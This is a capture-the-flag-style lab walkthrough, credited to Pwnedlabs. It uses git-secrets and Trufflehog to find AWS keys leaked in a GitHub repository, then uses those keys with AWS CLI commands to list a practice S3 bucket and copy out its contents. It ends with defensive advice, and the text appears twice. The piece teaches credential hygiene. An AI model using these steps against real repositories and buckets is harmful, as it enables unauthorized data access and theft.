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Hunt for Secrets in Git Repos
Overview Exposed security credentials in Git repositories pose a significant real-world threat, potentially leading to the compromise of individual systems or even entire company networks and platforms. Today, we will identify access keys within a target GitHub repository and use them to retrieve sensitive data from an S3 bucket. Credit: Pwnedlabs.io lab. Requirements / Pre-Requisites Installation of git-secrets or Trufflehog. Git-secrets prevent accidentally committing passwords, API keys and other sensitive information to a git repository by scanning the contents of Git repositories for predefined patterns that typically indicate the presence of sensitive information. The patterns are defined in regular expression rules. When it detects a match, it raises a warning or prevents the commit, depending on the configuration. Trufflehog is another good tool to automate the process of discovering credentials in git repositories git clone https://github.com/awslabs/git-secrets cd git-secrets make install On debian pip3 install trufflehog --break-system-packages Clone the Pwnedlab test repository git clone https://github.com/huge-logistics/cargo-logistics-dev.git Finally, have your AWSCLI installed. Checkout this AWS Documentation for a complete installation of the CLI Using Git Secret to scan the cloned repository Navigate to the cloned git repo directory and run the following commands cd cargo-logistics-dev/ git secrets --install git secrets --register-aws Scan all revisions of the repository using the command. git secrets --scan-history Check the content of the commit using the git show command git show d8098af5fbf1aa35ae22e99b9493ffae5d97d58f:log-s3-test/log-upload Using Trufflehog to scan the cloned repository. trufflehog --regex --entropy=False ./cargo-logistics-dev/ Also, you can scan the github repository URL directly. Hence, there won't be a need to download the repository locally using the below command. trufflehog https://github.com/huge-logistics/cargo-logistics-dev --max_depth 2 . From the above, we discovered an AWS access key that can be configured in the AWS CLI. Additionally, take note of the S3 bucket name, source file, and the region where the bucket is located—these details are crucial for our enumeration. Configure an awscli profile using the exposed credentials and confirm the identity. aws configure --profile aws sts get-caller-identity Now, list the content of the S3 bucket huge-logistics-transact using the command aws s3 ls s3://huge-logistics-transact --profile Copy the content of the bucket to your local PC using the below command format - aws s3 cp s3:// --profile --recursive. aws s3 cp s3://huge-logistics-transact ./exposed_bucket --profile exposed-secret --recursive Finally, you view the flag.txt file and the web_transaction.csv file, which contains highly sensitive data. Defense Never hardcode your AWS credentials to your scripts or code rather make use of the AWS Secret Manager which enables you rotate your secrets. Finally, ensure you always run a git-secret before committing to your git repository as it would prevent the commit if credentials are seen. You can also infuse it into your pipeline to automatically scan before committing your code changes to your git repository. Refer to this AWS documentation for guidance on remediating exposed AWS credentials.
Overview
Exposed security credentials in Git repositories pose a significant real-world threat, potentially leading to the compromise of individual systems or even entire company networks and platforms.
Today, we will identify access keys within a target GitHub repository and use them to retrieve sensitive data from an S3 bucket.
Credit: Pwnedlabs.io lab.
Requirements / Pre-Requisites
- Installation of git-secrets or Trufflehog.
Git-secrets prevent accidentally committing passwords, API keys and other sensitive information to a git repository by scanning the contents of Git repositories for predefined patterns that typically indicate the presence of sensitive information. The patterns are defined in regular expression rules. When it detects a match, it raises a warning or prevents the commit, depending on the configuration.
Trufflehog is another good tool to automate the process of discovering credentials in git repositories
git clone https://github.com/awslabs/git-secrets
cd git-secrets
make install
On debian
pip3 install trufflehog --break-system-packages
- Clone the Pwnedlab test repository
git clone https://github.com/huge-logistics/cargo-logistics-dev.git
- Finally, have your AWSCLI installed. Checkout this AWS Documentation for a complete installation of the CLI
Using Git Secret to scan the cloned repository
- Navigate to the cloned git repo directory and run the following commands
cd cargo-logistics-dev/
git secrets --install
git secrets --register-aws
- Scan all revisions of the repository using the command.
git secrets --scan-history
- Check the content of the commit using the git show command
git show d8098af5fbf1aa35ae22e99b9493ffae5d97d58f:log-s3-test/log-upload
Using Trufflehog to scan the cloned repository.
trufflehog --regex --entropy=False ./cargo-logistics-dev/
Also, you can scan the github repository URL directly. Hence, there won't be a need to download the repository locally using the below command.
trufflehog https://github.com/huge-logistics/cargo-logistics-dev --max_depth 2
.
From the above, we discovered an AWS access key that can be configured in the AWS CLI. Additionally, take note of the S3 bucket name, source file, and the region where the bucket is located—these details are crucial for our enumeration.
- Configure an awscli profile using the exposed credentials and confirm the identity.
aws configure --profile
aws sts get-caller-identity
- Now, list the content of the S3 bucket
huge-logistics-transactusing the command
aws s3 ls s3://huge-logistics-transact --profile
- Copy the content of the bucket to your local PC using the below command format -
aws s3 cp s3://--profile --recursive.
aws s3 cp s3://huge-logistics-transact ./exposed_bucket --profile exposed-secret --recursive
- Finally, you view the
flag.txtfile and theweb_transaction.csvfile, which contains highly sensitive data.
Defense
Never hardcode your AWS credentials to your scripts or code rather make use of the AWS Secret Manager which enables you rotate your secrets.
Finally, ensure you always run a git-secret before committing to your git repository as it would prevent the commit if credentials are seen. You can also infuse it into your pipeline to automatically scan before committing your code changes to your git repository.
Refer to this AWS documentation for guidance on remediating exposed AWS credentials.
